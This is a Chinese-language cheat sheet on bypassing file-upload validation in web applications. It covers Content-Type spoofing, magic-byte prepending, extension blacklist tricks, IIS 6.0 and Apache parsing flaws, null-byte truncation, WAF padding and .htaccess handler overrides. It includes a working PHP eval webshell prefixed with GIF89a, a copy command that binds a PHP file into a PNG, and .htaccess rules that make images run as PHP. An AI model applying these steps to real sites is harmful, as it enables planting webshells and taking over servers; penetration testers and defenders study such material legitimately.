檔案上傳校驗繞過總結
檔案上傳校驗
-
前端javascript校驗(一般只校驗字尾名)
-
服務端校驗
-
檔案頭content-type欄位校驗(image/gif)
-
檔案內容頭校驗(GIF89a)
-
字尾名黑名單校驗
-
字尾名白名單校驗
-
-
WAF裝置校驗(根據不同的WAF產品而定)
-
其他繞過方式
1.客戶端校驗
判斷方式:上傳檔案時還未點選上傳按鈕便彈出對話方塊,內容如:只允許上傳.jpg/.jpeg/.png字尾名的檔案,而此時並沒有傳送資料包。
繞過方式:1、可以用firebug將form表單中的JS事件刪除,這樣就可以繞過驗證。
2、利用burp抓包改包,先上傳一個gif型別的木馬,然後通過burp將其改為asp/php/jsp字尾名即可。
2.檔案頭content-type欄位校驗
繞過方式:通過抓包,將content-type欄位改為image/gif或者image/png等允許上傳的檔案型別
3.檔案內容頭校驗
繞過方式:
- 在一句話木馬前面再加一些圖片檔案資訊,如
GIF89a<?php @eval($_POST['caidao']);?>
-
Windows捆綁
copy 1.png /b + 2.php /a 3.png
常見的檔案頭對應關係:
(1) .JPEG;.JPE;.JPG ------------ ”JPGGraphic File”
(2) .gif -------------- ”GIF 89A”
(3) .zip ------------- ”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr -------------- ”MS Compound Document v1 or Lotus Approach APRfile”
4. 字尾名黑名單校驗
- 找黑名單副檔名的漏網之魚 - 比如 asa 和 cer 之類
-
可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類
-
在window下,若檔名以"."或者空格作為結尾,系統會自動去除"."與空格, 所以可以上傳以“asp.”和“asp_”為副檔名的檔案
-
IIS6.0解析漏洞
- 在網站下建立資料夾的名字為*.asp、*.asa 的資料夾,其目錄內的任何副檔名的檔案都被IIS當作asp檔案來解析並執行。例如建立目錄vidun.asp,那麼/vidun.asp/f1jpg將被當作asp檔案來執行。(Burp抓包後,在目錄後面新增資料夾,如upload/1.asp,而檔名還是f1.jpg)
上傳一個 名字叫 "vidun.asp;.jpg"的木馬檔案,該檔案可以被當作asp檔案解析並執行。
能被解析的副檔名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee
5. 字尾名白名單校驗
- 0x00截斷繞過
- 此時若在iis6.0,則可以將木馬名改為test.asp;1.jpg來上傳,從而通過驗證
- 配合解析漏洞
6.WAF裝置校驗
- 垃圾資料
可以構造一個大檔案,前面1M的內容為垃圾內容,後面才是真正的木馬內容;
也可以將垃圾資料放在資料包最開頭,這樣便可以繞過對檔名的校驗。
7.其他繞過方式
.htaccess檔案攻擊
先上傳一個.htaccess檔案,通過它呼叫php解析器去解析一個檔名中只要包含"haha"這個字串的任意檔案,無論副檔名是什麼(沒有也行),都會以php的方式來解析
.haccess檔案程式碼如下:
<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>
或者如下,上傳一個檔名為evil.gif的圖片馬:
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php
</FilesMatch>
然後再上傳haha.png即可
Apache解析漏洞
- Apache不管檔案最後的字尾名是什麼 ,只要是.php.*為結尾,就會被apache伺服器解析成PHP的檔案
- Apache的Mime.type配置檔案定義了Apache能夠解析哪些檔案的型別。
- 當apache遇到xx.php.rar或者Xxx.php.111這些預設沒有在mime.types檔案定義的都會解析成php的檔案。